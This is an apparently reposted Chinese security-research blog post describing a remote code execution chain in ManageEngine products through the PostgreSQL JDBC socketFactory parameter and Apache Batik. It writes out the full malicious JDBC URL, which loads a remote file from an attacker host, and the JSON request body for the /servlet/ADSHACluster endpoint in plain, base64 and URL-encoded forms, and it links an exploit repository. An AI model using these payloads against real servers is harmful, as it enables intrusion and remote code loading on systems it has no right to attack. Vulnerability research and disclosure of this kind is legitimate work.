ManageEngine JDBC RCE
2023-4-1 14:18:0 Author: xz.aliyun.com(查看原文) 阅读量:29 收藏

前言
自述:离开北京前,真希望能找到自己认为最有价值的漏洞。前路迷茫
MangaeEngine的产品,我觉得是我做审计这么久时间,第三方库管理做得比较好的。主要是很多产品的架构十分统一,我就不扯皮了。直接上干货。

复现的基本环境

M365 Security Plus等一些多节点的产品均有!

业务情况

/servlet/ADSHACluster这个接口中有一个很敏感的代码

这段代码进去之后就是常见的JDBC连接了。


但是如果你觉得此时就直接RCE的话,那也太小看这家产品了。搜寻数据库驱动时,你会发现MangeEngine的产品基本都是Postgresql的。搜了一下大部分产品的jar包,可以看到都是存在漏洞版本的


然后你去了解Postgresql的漏洞时,你会两眼犯困,因为现存的攻击链,都是以spring相关的jar为起始,通过Spring启动类加载恶意bean的方式,在ManageEngine的产品里是发现不了spring的相关依赖。我搜寻了不少的利用链,发现还有Weblogic的相关的jar包利用方式https://tttang.com/archive/1462/#toc_c-weblogic-server
,但是,ManageEngine和weblogic能有什么关系?

分析

这是一个网安的基本素质了。自己给自己找路子!现在要思考postgresql能RCE的核心是什么,才能继续研究挖掘


其实复现的时候已经能看出来了,那就是反射创建一个任意的对象时,通过一个String类型的构造参数创建对象。
类似于以下形式

new File("");
new URL("");

但是大部分类如果只是通过这种形式创建的话,根本不可能RCE的。需要找到新的锲约。我在本地找了大量的类,发现都无法通过一个String类型的构造函数一次性RCE。这让我百般痛苦!幸运的是,我疯狂的思考终于找到了答案!

cs事件

CVE-2022-39197 cs的xss可以RCE的根本原因是使用了Apache batik。而batik复现使用的POC非常有意思

new JLabel("<html>" +
                "<object classid=\"org.apache.batik.swing.JSVGCanvas\"><param name=\"URI\" value=\"http://127.0.0.1:6565/test.txt\"></object>");

这个类一旦创建,就会远程加载一个恶意的文件,文件里面可以控制服务器去加载一个恶意的jar包。
https://xz.aliyun.com/t/11815
。相关链接已经给出来了。我就不重复造轮子了。
惊喜的事情发现了,我在ManageEngine多款产品中发现了这个神奇的组件


当然,截图中的已经是修好补丁的样子了。至少之前是1.14的(漏洞版本)

EXP的构造

此时环境已经具备开始吧!(个人已上传github:https://github.com/Kyo-w/ManageEngineRce)
postgresql JDBC的参数如下

jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=javax.swing.JLabel&socketFactoryArg=<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.2.1:6565/test.txt'></object>

环境走起来


此时,完美地实现了RCE。

移植到接口的请求

既然本地已经完成了RCE。需要到接口爽一下了

" {\"DB_PROP\": {\"url\":\"jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=javax.swing.JLabel&socketFactoryArg=<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.2.1:6565/test.txt'></object>\",\"drivername\":\"org.postgresql.Driver\",\"username\":\"\",\"password\":\"\"}}"

这是原始的JDBC请求包,在进入JDBC接口前,代码会做一次base64,因此需要做一个base64加密

eyJEQl9QUk9QIjp7InVybCI6ImpkYmM6cG9zdGdyZXNxbDovLzEyNy4wLjAuMTo1NDMyL3Rlc3QvP3NvY2tldEZhY3Rvcnk9amF2YXguc3dpbmcuSkxhYmVsJnNvY2tldEZhY3RvcnlBcmc9PGh0bWw+PG9iamVjdCBjbGFzc2lkPSdvcmcuYXBhY2hlLmJhdGlrLnN3aW5nLkpTVkdDYW52YXMnPjxwYXJhbSBuYW1lPSdVUkknIHZhbHVlPSdodHRwOi8vMTkyLjE2OC4yLjE6NjU2NS90ZXN0LnR4dCc+PC9vYmplY3Q+IiwiZHJpdmVybmFtZSI6Im9yZy5wb3N0Z3Jlc3FsLkRyaXZlciIsInVzZXJuYW1lIjoiIiwicGFzc3dvcmQiOiIifX0=

当然,这样发过去依然不行,这是比较坑的点,我一直没注意base64经过tomcat请求后,数据会被破坏,这里需要再次经过一次URL编码去保护base64的原始数据

%65%79%4a%45%51%6c%39%51%55%6b%39%51%49%6a%70%37%49%6e%56%79%62%43%49%36%49%6d%70%6b%59%6d%4d%36%63%47%39%7a%64%47%64%79%5a%58%4e%78%62%44%6f%76%4c%7a%45%79%4e%79%34%77%4c%6a%41%75%4d%54%6f%31%4e%44%4d%79%4c%33%52%6c%63%33%51%76%50%33%4e%76%59%32%74%6c%64%45%5a%68%59%33%52%76%63%6e%6b%39%61%6d%46%32%59%58%67%75%63%33%64%70%62%6d%63%75%53%6b%78%68%59%6d%56%73%4a%6e%4e%76%59%32%74%6c%64%45%5a%68%59%33%52%76%63%6e%6c%42%63%6d%63%39%50%47%68%30%62%57%77%2b%50%47%39%69%61%6d%56%6a%64%43%42%6a%62%47%46%7a%63%32%6c%6b%50%53%64%76%63%6d%63%75%59%58%42%68%59%32%68%6c%4c%6d%4a%68%64%47%6c%72%4c%6e%4e%33%61%57%35%6e%4c%6b%70%54%56%6b%64%44%59%57%35%32%59%58%4d%6e%50%6a%78%77%59%58%4a%68%62%53%42%75%59%57%31%6c%50%53%64%56%55%6b%6b%6e%49%48%5a%68%62%48%56%6c%50%53%64%6f%64%48%52%77%4f%69%38%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%79%4c%6a%45%36%4e%6a%55%32%4e%53%39%30%5a%58%4e%30%4c%6e%52%34%64%43%63%2b%50%43%39%76%59%6d%70%6c%59%33%51%2b%49%69%77%69%5a%48%4a%70%64%6d%56%79%62%6d%46%74%5a%53%49%36%49%6d%39%79%5a%79%35%77%62%33%4e%30%5a%33%4a%6c%63%33%46%73%4c%6b%52%79%61%58%5a%6c%63%69%49%73%49%6e%56%7a%5a%58%4a%75%59%57%31%6c%49%6a%6f%69%49%69%77%69%63%47%46%7a%63%33%64%76%63%6d%51%69%4f%69%49%69%66%58%30%3d

可惜

就当我高兴之时,发现一个致命地点。这个接口,需要一个随机的hash值,这个hash是产品安装时自动生成,这导致这个接口失去了未授权RCE的能力,变成需要拥有读取权限账号,做管理员的提权。真是遗憾!!!!


文章来源: https://xz.aliyun.com/t/12380
如有侵权请联系:admin#unsafe.sh